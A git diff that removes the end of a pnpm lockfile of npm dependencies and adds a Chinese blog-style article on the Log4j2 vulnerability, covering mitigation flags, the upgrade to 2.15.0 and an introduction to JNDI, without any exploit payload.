- regenerate: 1.4.2
-
- regenerate@1.4.2: {}
-
- regenerator-runtime@0.14.1: {}
-
- regenerator-transform@0.15.2:
- dependencies:
- '@babel/runtime': 7.24.8
-
- regexp.prototype.flags@1.5.2:
- dependencies:
- call-bind: 1.0.7
- define-properties: 1.2.1
- es-errors: 1.3.0
- set-function-name: 2.0.2
-
- regexpu-core@5.3.2:
- dependencies:
- '@babel/regjsgen': 0.8.0
- regenerate: 1.4.2
- regenerate-unicode-properties: 10.1.1
- regjsparser: 0.9.1
- unicode-match-property-ecmascript: 2.0.0
- unicode-match-property-value-ecmascript: 2.1.0
-
- register-service-worker@1.7.2: {}
-
- regjsparser@0.9.1:
- dependencies:
- jsesc: 0.5.0
-
- require-directory@2.1.1: {}
-
- require-from-string@2.0.2: {}
-
- require-main-filename@2.0.0: {}
-
- resolve@1.22.8:
- dependencies:
- is-core-module: 2.15.0
- path-parse: 1.0.7
- supports-preserve-symlinks-flag: 1.0.0
-
- restore-cursor@4.0.0:
- dependencies:
- onetime: 5.1.2
- signal-exit: 3.0.7
-
- reusify@1.0.4: {}
-
- rollup@2.79.1:
- optionalDependencies:
- fsevents: 2.3.3
-
- rollup@4.19.0:
- dependencies:
- '@types/estree': 1.0.5
- optionalDependencies:
- '@rollup/rollup-android-arm-eabi': 4.19.0
- '@rollup/rollup-android-arm64': 4.19.0
- '@rollup/rollup-darwin-arm64': 4.19.0
- '@rollup/rollup-darwin-x64': 4.19.0
- '@rollup/rollup-linux-arm-gnueabihf': 4.19.0
- '@rollup/rollup-linux-arm-musleabihf': 4.19.0
- '@rollup/rollup-linux-arm64-gnu': 4.19.0
- '@rollup/rollup-linux-arm64-musl': 4.19.0
- '@rollup/rollup-linux-powerpc64le-gnu': 4.19.0
- '@rollup/rollup-linux-riscv64-gnu': 4.19.0
- '@rollup/rollup-linux-s390x-gnu': 4.19.0
- '@rollup/rollup-linux-x64-gnu': 4.19.0
- '@rollup/rollup-linux-x64-musl': 4.19.0
- '@rollup/rollup-win32-arm64-msvc': 4.19.0
- '@rollup/rollup-win32-ia32-msvc': 4.19.0
- '@rollup/rollup-win32-x64-msvc': 4.19.0
- fsevents: 2.3.3
-
- run-parallel@1.2.0:
- dependencies:
- queue-microtask: 1.2.3
-
- safe-array-concat@1.1.2:
- dependencies:
- call-bind: 1.0.7
- get-intrinsic: 1.2.4
- has-symbols: 1.0.3
- isarray: 2.0.5
-
- safe-buffer@5.2.1: {}
-
- safe-regex-test@1.0.3:
- dependencies:
- call-bind: 1.0.7
- es-errors: 1.3.0
- is-regex: 1.1.4
-
- sass@1.77.8:
- dependencies:
- chokidar: 3.6.0
- immutable: 4.3.7
- source-map-js: 1.2.0
-
- sax@1.4.1: {}
-
- search-insights@2.15.0: {}
-
- section-matter@1.0.0:
- dependencies:
- extend-shallow: 2.0.1
- kind-of: 6.0.3
-
- semver@6.3.1: {}
-
- semver@7.6.3: {}
-
- serialize-javascript@6.0.2:
- dependencies:
- randombytes: 2.1.0
-
- set-blocking@2.0.0: {}
-
- set-function-length@1.2.2:
- dependencies:
- define-data-property: 1.1.4
- es-errors: 1.3.0
- function-bind: 1.1.2
- get-intrinsic: 1.2.4
- gopd: 1.0.1
- has-property-descriptors: 1.0.2
-
- set-function-name@2.0.2:
- dependencies:
- define-data-property: 1.1.4
- es-errors: 1.3.0
- functions-have-names: 1.2.3
- has-property-descriptors: 1.0.2
-
- shebang-command@2.0.0:
- dependencies:
- shebang-regex: 3.0.0
-
- shebang-regex@3.0.0: {}
-
- shiki@1.11.1:
- dependencies:
- '@shikijs/core': 1.11.1
- '@types/hast': 3.0.4
-
- side-channel@1.0.6:
- dependencies:
- call-bind: 1.0.7
- es-errors: 1.3.0
- get-intrinsic: 1.2.4
- object-inspect: 1.13.2
-
- signal-exit@3.0.7: {}
-
- signal-exit@4.1.0: {}
-
- sitemap@8.0.0:
- dependencies:
- '@types/node': 17.0.45
- '@types/sax': 1.2.7
- arg: 5.0.2
- sax: 1.4.1
-
- slash@5.1.0: {}
-
- smob@1.5.0: {}
-
- source-map-js@1.2.0: {}
-
- source-map-support@0.5.21:
- dependencies:
- buffer-from: 1.1.2
- source-map: 0.6.1
-
- source-map@0.6.1: {}
-
- source-map@0.8.0-beta.0:
- dependencies:
- whatwg-url: 7.1.0
-
- sourcemap-codec@1.4.8: {}
-
- speech-rule-engine@4.0.7:
- dependencies:
- commander: 9.2.0
- wicked-good-xpath: 1.3.0
- xmldom-sre: 0.1.31
-
- sprintf-js@1.0.3: {}
-
- stdin-discarder@0.2.2: {}
-
- string-width@4.2.3:
- dependencies:
- emoji-regex: 8.0.0
- is-fullwidth-code-point: 3.0.0
- strip-ansi: 6.0.1
-
- string-width@7.2.0:
- dependencies:
- emoji-regex: 10.3.0
- get-east-asian-width: 1.2.0
- strip-ansi: 7.1.0
-
- string.prototype.matchall@4.0.11:
- dependencies:
- call-bind: 1.0.7
- define-properties: 1.2.1
- es-abstract: 1.23.3
- es-errors: 1.3.0
- es-object-atoms: 1.0.0
- get-intrinsic: 1.2.4
- gopd: 1.0.1
- has-symbols: 1.0.3
- internal-slot: 1.0.7
- regexp.prototype.flags: 1.5.2
- set-function-name: 2.0.2
- side-channel: 1.0.6
-
- string.prototype.trim@1.2.9:
- dependencies:
- call-bind: 1.0.7
- define-properties: 1.2.1
- es-abstract: 1.23.3
- es-object-atoms: 1.0.0
-
- string.prototype.trimend@1.0.8:
- dependencies:
- call-bind: 1.0.7
- define-properties: 1.2.1
- es-object-atoms: 1.0.0
-
- string.prototype.trimstart@1.0.8:
- dependencies:
- call-bind: 1.0.7
- define-properties: 1.2.1
- es-object-atoms: 1.0.0
-
- stringify-object@3.3.0:
- dependencies:
- get-own-enumerable-property-symbols: 3.0.2
- is-obj: 1.0.1
- is-regexp: 1.0.0
-
- strip-ansi@6.0.1:
- dependencies:
- ansi-regex: 5.0.1
-
- strip-ansi@7.1.0:
- dependencies:
- ansi-regex: 6.0.1
-
- strip-bom-string@1.0.0: {}
-
- strip-comments@2.0.1: {}
-
- strip-final-newline@4.0.0: {}
-
- supports-color@5.5.0:
- dependencies:
- has-flag: 3.0.0
-
- supports-color@7.2.0:
- dependencies:
- has-flag: 4.0.0
-
- supports-preserve-symlinks-flag@1.0.0: {}
-
- temp-dir@2.0.0: {}
-
- tempy@0.6.0:
- dependencies:
- is-stream: 2.0.1
- temp-dir: 2.0.0
- type-fest: 0.16.0
- unique-string: 2.0.0
-
- terser@5.31.3:
- dependencies:
- '@jridgewell/source-map': 0.3.6
- acorn: 8.12.1
- commander: 2.20.3
- source-map-support: 0.5.21
-
- to-fast-properties@2.0.0: {}
-
- to-regex-range@5.0.1:
- dependencies:
- is-number: 7.0.0
-
- tr46@1.0.1:
- dependencies:
- punycode: 2.3.1
-
- ts-debounce@4.0.0: {}
-
- type-fest@0.16.0: {}
-
- typed-array-buffer@1.0.2:
- dependencies:
- call-bind: 1.0.7
- es-errors: 1.3.0
- is-typed-array: 1.1.13
-
- typed-array-byte-length@1.0.1:
- dependencies:
- call-bind: 1.0.7
- for-each: 0.3.3
- gopd: 1.0.1
- has-proto: 1.0.3
- is-typed-array: 1.1.13
-
- typed-array-byte-offset@1.0.2:
- dependencies:
- available-typed-arrays: 1.0.7
- call-bind: 1.0.7
- for-each: 0.3.3
- gopd: 1.0.1
- has-proto: 1.0.3
- is-typed-array: 1.1.13
-
- typed-array-length@1.0.6:
- dependencies:
- call-bind: 1.0.7
- for-each: 0.3.3
- gopd: 1.0.1
- has-proto: 1.0.3
- is-typed-array: 1.1.13
- possible-typed-array-names: 1.0.0
-
- uc.micro@2.1.0: {}
-
- unbox-primitive@1.0.2:
- dependencies:
- call-bind: 1.0.7
- has-bigints: 1.0.2
- has-symbols: 1.0.3
- which-boxed-primitive: 1.0.2
-
- undici-types@5.26.5: {}
-
- unicode-canonical-property-names-ecmascript@2.0.0: {}
-
- unicode-match-property-ecmascript@2.0.0:
- dependencies:
- unicode-canonical-property-names-ecmascript: 2.0.0
- unicode-property-aliases-ecmascript: 2.1.0
-
- unicode-match-property-value-ecmascript@2.1.0: {}
-
- unicode-property-aliases-ecmascript@2.1.0: {}
-
- unicorn-magic@0.1.0: {}
-
- unique-string@2.0.0:
- dependencies:
- crypto-random-string: 2.0.0
-
- universalify@2.0.1: {}
-
- upath@1.2.0: {}
-
- upath@2.0.1: {}
-
- update-browserslist-db@1.1.0(browserslist@4.23.2):
- dependencies:
- browserslist: 4.23.2
- escalade: 3.1.2
- picocolors: 1.0.1
-
- vite@5.3.4(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3):
- dependencies:
- esbuild: 0.21.5
- postcss: 8.4.40
- rollup: 4.19.0
- optionalDependencies:
- '@types/node': 20.14.12
- fsevents: 2.3.3
- sass: 1.77.8
- terser: 5.31.3
-
- vue-demi@0.14.9(vue@3.4.34):
- dependencies:
- vue: 3.4.34
-
- vue-router@4.4.0(vue@3.4.34):
- dependencies:
- '@vue/devtools-api': 6.6.3
- vue: 3.4.34
-
- vue@3.4.34:
- dependencies:
- '@vue/compiler-dom': 3.4.34
- '@vue/compiler-sfc': 3.4.34
- '@vue/runtime-dom': 3.4.34
- '@vue/server-renderer': 3.4.34(vue@3.4.34)
- '@vue/shared': 3.4.34
-
- vuepress-plugin-components@2.0.0-rc.52(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)):
- dependencies:
- '@stackblitz/sdk': 1.11.0
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-sass-palette': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vueuse/core': 10.11.0(vue@3.4.34)
- balloon-css: 1.2.0
- create-codepen: 2.0.0
- qrcode: 1.5.3
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- vuepress-shared: 2.0.0-rc.52(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- transitivePeerDependencies:
- - '@vue/composition-api'
- - typescript
-
- vuepress-plugin-md-enhance@2.0.0-rc.52(markdown-it@14.1.0)(mathjax-full@3.2.2)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)):
- dependencies:
- '@mdit/plugin-alert': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-align': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-attrs': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-container': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-demo': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-figure': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-footnote': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-img-lazyload': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-img-mark': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-img-size': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-include': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-katex-slim': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-mark': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-mathjax-slim': 0.12.0(markdown-it@14.1.0)(mathjax-full@3.2.2)
- '@mdit/plugin-plantuml': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-spoiler': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-stylize': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-sub': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-sup': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-tab': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-tasklist': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-tex': 0.12.0(markdown-it@14.1.0)
- '@mdit/plugin-uml': 0.12.0(markdown-it@14.1.0)
- '@types/markdown-it': 14.1.2
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-sass-palette': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vueuse/core': 10.11.0(vue@3.4.34)
- balloon-css: 1.2.0
- js-yaml: 4.1.0
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- vuepress-shared: 2.0.0-rc.52(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- optionalDependencies:
- mathjax-full: 3.2.2
- transitivePeerDependencies:
- - '@vue/composition-api'
- - markdown-it
- - typescript
-
- vuepress-shared@2.0.0-rc.52(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)):
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vueuse/core': 10.11.0(vue@3.4.34)
- cheerio: 1.0.0-rc.12
- dayjs: 1.11.12
- execa: 9.3.0
- fflate: 0.8.2
- gray-matter: 4.0.3
- semver: 7.6.3
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - '@vue/composition-api'
- - typescript
-
- vuepress-theme-hope@2.0.0-rc.52(@vuepress/plugin-docsearch@2.0.0-rc.40(@algolia/client-search@4.24.0)(search-insights@2.15.0)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)))(@vuepress/plugin-pwa@2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)))(markdown-it@14.1.0)(mathjax-full@3.2.2)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)):
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-active-header-links': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-back-to-top': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-blog': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-catalog': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-comment': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-copy-code': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-copyright': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-git': 2.0.0-rc.38(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-links-check': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-notice': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-nprogress': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-photo-swipe': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-reading-time': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-rtl': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-sass-palette': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-seo': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-shiki': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-sitemap': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-theme-data': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-watermark': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vueuse/core': 10.11.0(vue@3.4.34)
- balloon-css: 1.2.0
- bcrypt-ts: 5.0.2
- cheerio: 1.0.0-rc.12
- chokidar: 3.6.0
- gray-matter: 4.0.3
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- vuepress-plugin-components: 2.0.0-rc.52(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- vuepress-plugin-md-enhance: 2.0.0-rc.52(markdown-it@14.1.0)(mathjax-full@3.2.2)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- vuepress-shared: 2.0.0-rc.52(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- optionalDependencies:
- '@vuepress/plugin-docsearch': 2.0.0-rc.40(@algolia/client-search@4.24.0)(search-insights@2.15.0)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vuepress/plugin-pwa': 2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- transitivePeerDependencies:
- - '@types/reveal.js'
- - '@vue/composition-api'
- - '@vue/repl'
- - '@waline/client'
- - artalk
- - artplayer
- - chart.js
- - dashjs
- - echarts
- - flowchart.ts
- - hls.js
- - katex
- - kotlin-playground
- - markdown-it
- - markmap-lib
- - markmap-toolbar
- - markmap-view
- - mathjax-full
- - mermaid
- - mpegts.js
- - reveal.js
- - sandpack-vue3
- - twikoo
- - typescript
- - vidstack
-
- vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34):
- dependencies:
- '@vuepress/cli': 2.0.0-rc.14
- '@vuepress/client': 2.0.0-rc.14
- '@vuepress/core': 2.0.0-rc.14
- '@vuepress/markdown': 2.0.0-rc.14
- '@vuepress/shared': 2.0.0-rc.14
- '@vuepress/utils': 2.0.0-rc.14
- vue: 3.4.34
- optionalDependencies:
- '@vuepress/bundler-vite': 2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3)
- transitivePeerDependencies:
- - supports-color
- - typescript
-
- watermark-js-plus@1.5.2: {}
-
- webidl-conversions@4.0.2: {}
-
- whatwg-url@7.1.0:
- dependencies:
- lodash.sortby: 4.7.0
- tr46: 1.0.1
- webidl-conversions: 4.0.2
-
- which-boxed-primitive@1.0.2:
- dependencies:
- is-bigint: 1.0.4
- is-boolean-object: 1.1.2
- is-number-object: 1.0.7
- is-string: 1.0.7
- is-symbol: 1.0.4
-
- which-module@2.0.1: {}
-
- which-typed-array@1.1.15:
- dependencies:
- available-typed-arrays: 1.0.7
- call-bind: 1.0.7
- for-each: 0.3.3
- gopd: 1.0.1
- has-tostringtag: 1.0.2
-
- which@2.0.2:
- dependencies:
- isexe: 2.0.0
-
- wicked-good-xpath@1.3.0: {}
-
- workbox-background-sync@7.1.0:
- dependencies:
- idb: 7.1.1
- workbox-core: 7.1.0
-
- workbox-broadcast-update@7.1.0:
- dependencies:
- workbox-core: 7.1.0
-
- workbox-build@7.1.1:
- dependencies:
- '@apideck/better-ajv-errors': 0.3.6(ajv@8.17.1)
- '@babel/core': 7.24.9
- '@babel/preset-env': 7.24.8(@babel/core@7.24.9)
- '@babel/runtime': 7.24.8
- '@rollup/plugin-babel': 5.3.1(@babel/core@7.24.9)(rollup@2.79.1)
- '@rollup/plugin-node-resolve': 15.2.3(rollup@2.79.1)
- '@rollup/plugin-replace': 2.4.2(rollup@2.79.1)
- '@rollup/plugin-terser': 0.4.4(rollup@2.79.1)
- '@surma/rollup-plugin-off-main-thread': 2.2.3
- ajv: 8.17.1
- common-tags: 1.8.2
- fast-json-stable-stringify: 2.1.0
- fs-extra: 9.1.0
- glob: 7.2.3
- lodash: 4.17.21
- pretty-bytes: 5.6.0
- rollup: 2.79.1
- source-map: 0.8.0-beta.0
- stringify-object: 3.3.0
- strip-comments: 2.0.1
- tempy: 0.6.0
- upath: 1.2.0
- workbox-background-sync: 7.1.0
- workbox-broadcast-update: 7.1.0
- workbox-cacheable-response: 7.1.0
- workbox-core: 7.1.0
- workbox-expiration: 7.1.0
- workbox-google-analytics: 7.1.0
- workbox-navigation-preload: 7.1.0
- workbox-precaching: 7.1.0
- workbox-range-requests: 7.1.0
- workbox-recipes: 7.1.0
- workbox-routing: 7.1.0
- workbox-strategies: 7.1.0
- workbox-streams: 7.1.0
- workbox-sw: 7.1.0
- workbox-window: 7.1.0
- transitivePeerDependencies:
- - '@types/babel__core'
- - supports-color
-
- workbox-cacheable-response@7.1.0:
- dependencies:
- workbox-core: 7.1.0
-
- workbox-core@7.1.0: {}
-
- workbox-expiration@7.1.0:
- dependencies:
- idb: 7.1.1
- workbox-core: 7.1.0
-
- workbox-google-analytics@7.1.0:
- dependencies:
- workbox-background-sync: 7.1.0
- workbox-core: 7.1.0
- workbox-routing: 7.1.0
- workbox-strategies: 7.1.0
-
- workbox-navigation-preload@7.1.0:
- dependencies:
- workbox-core: 7.1.0
-
- workbox-precaching@7.1.0:
- dependencies:
- workbox-core: 7.1.0
- workbox-routing: 7.1.0
- workbox-strategies: 7.1.0
-
- workbox-range-requests@7.1.0:
- dependencies:
- workbox-core: 7.1.0
-
- workbox-recipes@7.1.0:
- dependencies:
- workbox-cacheable-response: 7.1.0
- workbox-core: 7.1.0
- workbox-expiration: 7.1.0
- workbox-precaching: 7.1.0
- workbox-routing: 7.1.0
- workbox-strategies: 7.1.0
-
- workbox-routing@7.1.0:
- dependencies:
- workbox-core: 7.1.0
-
- workbox-strategies@7.1.0:
- dependencies:
- workbox-core: 7.1.0
-
- workbox-streams@7.1.0:
- dependencies:
- workbox-core: 7.1.0
- workbox-routing: 7.1.0
-
- workbox-sw@7.1.0: {}
-
- workbox-window@7.1.0:
- dependencies:
- '@types/trusted-types': 2.0.7
- workbox-core: 7.1.0
-
- wrap-ansi@6.2.0:
- dependencies:
- ansi-styles: 4.3.0
- string-width: 4.2.3
- strip-ansi: 6.0.1
-
- wrappy@1.0.2: {}
-
- xmldom-sre@0.1.31: {}
-
- y18n@4.0.3: {}
-
- yallist@3.1.1: {}
-
- yargs-parser@18.1.3:
- dependencies:
- camelcase: 5.3.1
- decamelize: 1.2.0
-
- yargs@15.4.1:
- dependencies:
- cliui: 6.0.0
- decamelize: 1.2.0
- find-up: 4.1.0
- get-caller-file: 2.0.5
- require-directory: 2.1.1
- require-main-filename: 2.0.0
- set-blocking: 2.0.0
- string-width: 4.2.3
- which-module: 2.0.1
- y18n: 4.0.3
- yargs-parser: 18.1.3
-
- yoctocolors@2.1.1: {}
diff --git a/docs/shigu/log4j2.md b/docs/shigu/log4j2.md
new file mode 100644
index 0000000000..0e6858f814
--- /dev/null
+++ b/docs/shigu/log4j2.md
@@ -0,0 +1,105 @@
+
+
+长话短说吧。
+
+相信大家已经被 Log4j2 的重大漏洞刷屏了,估计有不少小伙伴此时此刻已经累趴下了。很不幸,我的小老弟小二的 Spring Boot 项目中恰好用的就是 Log4j2,版本特喵的还是 2.14.1,在这次漏洞波及的版本范围之内。
+
+第一时间从网上得知这个漏洞的消息后,小二吓尿了。赶紧跑过来问老王怎么解决。
+
+老王先是给小二提供了一些临时性的建议,比如说:
+
+```
+JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true
+log4j2.formatMsgNoLookups=True
+FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
+```
+
+并且老王也在时刻的关注着 Log4j2 的官网和 Spring Boot GitHub 仓库的最新消息。
+
+Java 后端开发的小伙伴应该都知道,Log4j、SLF4J、Logback 这 3 个日志组件是一个爹——Ceki Gulcu,但 Log4j 2 却是例外,它是 Apache 基金会的产品。
+
+所以这波超级高危漏洞的锅必须得由 Apache 来背。并且波及范围非常广,已知受影响的应用程序和组件有:
+
+- Spring-boot-strater-log4j2
+- Apache Solr
+- Apache Flink
+- Apache Druid
+
+并且只要是在 Log4j 2.x <= 2.14.1 之间的版本,都将受到影响——注定被载入史册的一波 bug 啊。
+
+目前,Log4j2 的官网已经发布了 Log4j2 2.15.0 正式版,来解决此次漏洞。
+
+
+
+那随着 Log4j2 2.15.0 正式版的发布,Spring Boot 的 GitHub 仓库提的这些关于 Log4j2 的 issue 都已经处于关闭状态了。
+
+
+
+看到这些消息后,老王紧张的情绪一下子就缓解了下来,就像吃了一颗定心丸,赶紧去通知小二不用再提心吊胆了,直接一行代码搞定。
+
+```
+
+ 2.15.0
+
+```
+
+详情可参照 Spring Boot 官方这篇博客:
+
+>https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
+
+Gradle 构建的项目也有解决方案。
+
+
+
+问题是解决了,不过老王没闲着。他从 Log4j2 官网公布的最新消息中琢磨出,本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:**当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码**。
+
+那肯定会有小伙伴在好奇 JNDI 是什么东东?来看一下维基百科的解释。
+
+>Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
+
